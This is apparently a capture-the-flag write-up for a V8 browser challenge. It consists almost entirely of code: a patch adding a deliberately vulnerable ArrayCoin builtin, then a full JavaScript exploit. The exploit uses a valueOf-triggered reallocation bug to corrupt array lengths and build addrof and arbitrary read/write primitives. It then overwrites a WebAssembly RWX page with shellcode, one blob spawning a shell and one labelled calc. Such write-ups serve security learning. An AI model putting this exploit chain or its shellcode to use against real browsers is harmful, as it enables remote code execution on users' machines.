数字经济线下 Realworld Browser writeup

diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index e6ab965a7e..9e5eb73c34 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -362,6 +362,36 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
 }
 }  // namespace
 
+// Vulnerability is here
+// You can't use this vulnerability in Debug Build :)
+BUILTIN(ArrayCoin) {
+  uint32_t len = args.length();
+  if (len != 3) {
+     return ReadOnlyRoots(isolate).undefined_value();
+  }
+  Handle<JSReceiver> receiver;
+  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+         isolate, receiver, Object::ToObject(isolate, args.receiver()));
+  Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+  FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+
+  Handle<Object> value;
+  Handle<Object> length;
+  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+             isolate, length, Object::ToNumber(isolate, args.at<Object>(1)));
+  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+             isolate, value, Object::ToNumber(isolate, args.at<Object>(2)));
+
+  uint32_t array_length = static_cast<uint32_t>(array->length().Number());
+  if(37 < array_length){
+    elements.set(37, value->Number());
+    return ReadOnlyRoots(isolate).undefined_value();  
+  }
+  else{
+    return ReadOnlyRoots(isolate).undefined_value();
+  }
+}
+
 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
   Handle<Object> receiver = args.receiver();

var Globarr=[]

function demo(){

    var length = {
        valueOf:function(){
            return 20000000000000
        }
    };   
    var val= {
        valueOf:function(){
            array.length=1000; 
            // force GC realloc this array, but we still 
            // have one reference to this memory in the Patch
            
            for(var i=0;i<1000-13;i++){
                new Array(100);
            }
            
            for(var i=0;i<10;i++){
                Globarr[i]=new Array(37)
            }
            
            return  999999999999999
        }
    }
    
    let array=[];
    array.length=50;
    
    array.coin(length,val);
    for(var i=5;i<10;i++){
        %DebugPrint(Globarr[i]);
    }
}
demo()

var val= {
    valueOf:function(){
    
        array.length = 0x100
        return  999999999999999
    }
}
let array=[];
array.length=34;
array.coin(length,val);

var val= {
    valueOf:function(){

        victim=new Array(12)
        array.length = 0x100
        return  999999999999999
    }
}

let array=[];
array.length=34;
array.coin(length,val);

console.log("[+] Int_Victim array length is changed to :"+victim.length);

var val= {
    valueOf:function(){

        
        victim=new Array(12)
        array.length = 0x100
        float_victim=new Array(0x10)
        float_victim[0]=1.1
        
        return  999999999999999
    }
}

let array=[];
array.length=34;


array.coin(length,val);

console.log("[+] Int_Victim array length is changed to :"+victim.length);

victim[273]=0x10000;//change the float arraylength

console.log("[+] Float_Victim(OOBARR) array length is changed to :"+float_victim.length)

function hex(b) {
    return ('0' + b.toString(16)).substr(-2);
}

// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
    var res = [];
    for (var i = 0; i < bytes.length; i++)
        res.push(hex(bytes[i]));
	

    return res.join('');
}

// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
    if (hexstr.length % 2 == 1)
        throw new TypeError("Invalid hex string");

    var bytes = new Uint8Array(hexstr.length / 2);
    for (var i = 0; i < hexstr.length; i += 2)
        bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);

    return bytes;
}

function hexdump(data) {
    if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
        data = Array.from(data);

    var lines = [];
    for (var i = 0; i < data.length; i += 16) {
        var chunk = data.slice(i, i+16);
        var parts = chunk.map(hex);
        if (parts.length > 8)
            parts.splice(8, 0, ' ');
        lines.push(parts.join(' '));
    }

    return lines.join('\n');
}

// Simplified version of the similarly named python module.
var Struct = (function() {
    // Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
    var buffer      = new ArrayBuffer(8);
    var byteView    = new Uint8Array(buffer);
    var uint32View  = new Uint32Array(buffer);
    var float64View = new Float64Array(buffer);

    return {
        pack: function(type, value) {
            var view = type;        // See below
            view[0] = value;
            return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
        },

        unpack: function(type, bytes) {
            if (bytes.length !== type.BYTES_PER_ELEMENT)
                throw Error("Invalid bytearray");

            var view = type;        // See below
            byteView.set(bytes);
            return view[0];
        },

        // Available types.
        int8:    byteView,
        int32:   uint32View,
        float64: float64View
    };
})();

//
// Tiny module that provides big (64bit) integers.
//
// Copyright (c) 2016 Samuel Groß
//
// Requires utils.js
//

// Datatype to represent 64-bit integers.
//
// Internally, the integer is stored as a Uint8Array in little endian byte order.
function Int64(v) {
    // The underlying byte array.
    var bytes = new Uint8Array(8);

    switch (typeof v) {
        case 'number':
            v = '0x' + Math.floor(v).toString(16);
        case 'string':
            if (v.startsWith('0x'))
                v = v.substr(2);
            if (v.length % 2 == 1)
                v = '0' + v;

            var bigEndian = unhexlify(v, 8);
            bytes.set(Array.from(bigEndian).reverse());
            break;
        case 'object':
            if (v instanceof Int64) {
                bytes.set(v.bytes());
            } else {
                if (v.length != 8)
                    throw TypeError("Array must have excactly 8 elements.");
                bytes.set(v);
            }
            break;
        case 'undefined':
            break;
        default:
            throw TypeError("Int64 constructor requires an argument.");
    }

    // Return a double whith the same underlying bit representation.
    this.asDouble = function() {
        // Check for NaN
        if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
            throw new RangeError("Integer can not be represented by a double");

        return Struct.unpack(Struct.float64, bytes);
    };

    // Return a javascript value with the same underlying bit representation.
    // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
    // due to double conversion constraints.
    this.asJSValue = function() {
        if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
            throw new RangeError("Integer can not be represented by a JSValue");

        // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
        this.assignSub(this, 0x1000000000000);
        var res = Struct.unpack(Struct.float64, bytes);
        this.assignAdd(this, 0x1000000000000);

        return res;
    };

    // Return the underlying bytes of this number as array.
    this.bytes = function() {
        return Array.from(bytes);
    };

    // Return the byte at the given index.
    this.byteAt = function(i) {
        return bytes[i];
    };

    // Return the value of this number as unsigned hex string.
    this.toString = function() {
        return '0x' + hexlify(Array.from(bytes).reverse());
    };

    // Basic arithmetic.
    // These functions assign the result of the computation to their 'this' object.

    // Decorator for Int64 instance operations. Takes care
    // of converting arguments to Int64 instances if required.
    function operation(f, nargs) {
        return function() {
            if (arguments.length != nargs)
                throw Error("Not enough arguments for function " + f.name);
            for (var i = 0; i < arguments.length; i++)
                if (!(arguments[i] instanceof Int64))
                    arguments[i] = new Int64(arguments[i]);
            return f.apply(this, arguments);
        };
    }

    // this = -n (two's complement)
    this.assignNeg = operation(function neg(n) {
        for (var i = 0; i < 8; i++)
            bytes[i] = ~n.byteAt(i);

        return this.assignAdd(this, Int64.One);
    }, 1);

    // this = a + b
    this.assignAdd = operation(function add(a, b) {
        var carry = 0;
        for (var i = 0; i < 8; i++) {
            var cur = a.byteAt(i) + b.byteAt(i) + carry;
            carry = cur > 0xff | 0;
            bytes[i] = cur;
        }
        return this;
    }, 2);

    // this = a - b
    this.assignSub = operation(function sub(a, b) {
        var carry = 0;
        for (var i = 0; i < 8; i++) {
            var cur = a.byteAt(i) - b.byteAt(i) - carry;
            carry = cur < 0 | 0;
            bytes[i] = cur;
        }
        return this;
    }, 2);
}

// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
    var bytes = Struct.pack(Struct.float64, d);
    return new Int64(bytes);
};

// Return -n (two's complement)
function Neg(n) {
    return (new Int64()).assignNeg(n);
}

// Return a + b
function Add(a, b) {
    return (new Int64()).assignAdd(a, b);
}

// Return a - b
function Sub(a, b) {
    return (new Int64()).assignSub(a, b);
}

// Some commonly used numbers.
Int64.Zero = new Int64(0);
Int64.One = new Int64(1);

let victimobj_obj_offset_of_OOBARR=0
let victimbuf_backingstore_pointer_offset_of_OOBARR=0


function exploit(){

    let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]);
    let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
    let f = wasm_mod.exports._Z3addii;

    var length = {
        
        valueOf:function(){

            return 20000000000000
            
        }
    };   
    var val= {
        valueOf:function(){

            
            victim=new Array(12)
            array.length = 0x100
            float_victim=new Array(0x10)
            float_victim[0]=1.1
            
            return  999999999999999
        }
    }

    let array=[];
    array.length=34;

    array.coin(length,val);

    console.log("[+] Int_Victim array length is changed to :"+victim.length);

    victim[273]=0x10000;//change the float arraylength
    //let array00= new Array(100)
    console.log("[+] Float_Victim(OOBARR) array length is changed to :"+float_victim.length)

    var vicobj={marker: 1111222233334444, obj: {}}
    var victimbuffer=new ArrayBuffer(0x41);
   // %DebugPrint(victimbuffer);
    //%SystemBreak();
    //%DebugPrint(vicobj.obj)


    for (let i = 0; i < 100; i++) {
        let val = Int64.fromDouble(float_victim[i]).toString();
        //console.log(val)
        if (val === "0x430f9534b3e01560") {
        //change the value to distinguish from front objs'flag
        float_victim[i] = (new Int64("4242424200000000")).asDouble();
        victimobj_obj_offset_of_OOBARR = i -8;
        console.log("[+] VictimObj.obj's offset of OOBARR = ",victimobj_obj_offset_of_OOBARR.toString(16))
        
        
        }
    }

    for (let i = 0; i < 100; i++) {
        let val = Int64.fromDouble(float_victim[i]).toString();
        //size as flag
        if (val === "0x0000000000000041") {
            float_victim[i] = (new Int64("0x0000000000999941")).asDouble();
        victimbuf_backingstore_pointer_offset_of_OOBARR = i + 1;
        console.log("[+] VictimBuf's backing store pointer's offset of OOBARR = ",victimbuf_backingstore_pointer_offset_of_OOBARR.toString(16))
        
        }
    }

    function addrof(obj){
		if(vicobj!==null){
			vicobj.obj=obj;
			return Int64.fromDouble(float_victim[victimobj_obj_offset_of_OOBARR])
		}
	}

    function read(addr,size){
		if(addr!==undefined){
			float_victim[victimbuf_backingstore_pointer_offset_of_OOBARR]=addr.asDouble();
			let a = new Uint8Array(victimbuffer, 0, size);
    			return Array.from(a);
		}
    }
    
    function write(addr, bytes) {
		if(addr!==undefined){
			float_victim[victimbuf_backingstore_pointer_offset_of_OOBARR] = addr.asDouble();
			console.log("[+] The target Write addr = ",Int64.fromDouble(float_victim[victimbuf_backingstore_pointer_offset_of_OOBARR]))
            let a = new Uint8Array(victimbuffer);
            //%DebugPrint(victimbuffer);
            //%SystemBreak()
			//console.log(a.byteLength)
			a.set(bytes);
		}
    }

    function read8(addr) {
		float_victim[victimbuf_backingstore_pointer_offset_of_OOBARR] = addr.asDouble();
		var v = new Float64Array(victimbuffer, 0, 8);
		return Int64.fromDouble(v[0]);
    }
    
    var test=new Array();
    //%DebugPrint(f);
    addr=Add(addrof(f),0x18-1)
    
    addr=read8(addr);
    console.log("[+] SharedFunctionInfo : "+addr);
    addr=Add(addr,0x8-1)
    addr=read8(addr);
    console.log("[+] WasmExportedFunctionData : "+addr);

    addr=Add(addr,0x10-1)
    addr=read8(addr);
    console.log("[+] Instance : "+addr);

    addr=Add(addr,0x80-1)
    addr=read8(addr);
    console.log("[+] rwx addr : "+addr);
    let shellcode = [0x90,0x90,0x31,0xc0,0x48,0xbb,0xd1,0x9d,0x96,0x91,0xd0,0x8c,0x97,0xff,0x48,0xf7,0xdb,0x53,0x54,0x5f,0x99,0x52,0x57,0x54,0x5e,0xb0,0x3b,0x0f,0x05];
    let calc=
    [0x48,0x31,0xc9,0x48,0x81,0xe9,0xf7,0xff,0xff,0xff,0x48,0x8d,0x05,0xef,0xff,0xff,0xff,0x48,0xbb,0x09,0x69,0x71,0x6e,0x44,0x85,0x88,0x7d,0x48,0x31,0x58,0x27,0x48,0x2d,0xf8,0xff,0xff,0xff,0xe2,0xf4,0x63,0x52,0x29,0xf7,0x0c,0x3e,0xa7,0x1f,0x60,0x07,0x5e,0x1d,0x2c,0x85,0xdb,0x35,0x80,0x8e,0x19,0x43,0x27,0x85,0x88,0x35,0x80,0x8f,0x23,0x86,0x5f,0x85,0x88,0x7d,0x6c,0x11,0x01,0x01,0x36,0xf1,0xa8,0x39,0x40,0x3a,0x21,0x22,0x05,0xdc,0xb5,0x47,0x39,0x47,0x41,0x48,0x62,0xfd,0xeb,0x1c,0x65,0x0a,0x71,0x38,0x13,0xcd,0x01,0x9b,0x06,0x6c,0x71,0x6e,0x44,0x85,0x88,0x7d]
    
    write(Sub(addr,0), calc);

    //%SystemBreak()
    console.log("[+] Running shellcode...")
    f();
    //%SystemBreak()
    

}
exploit()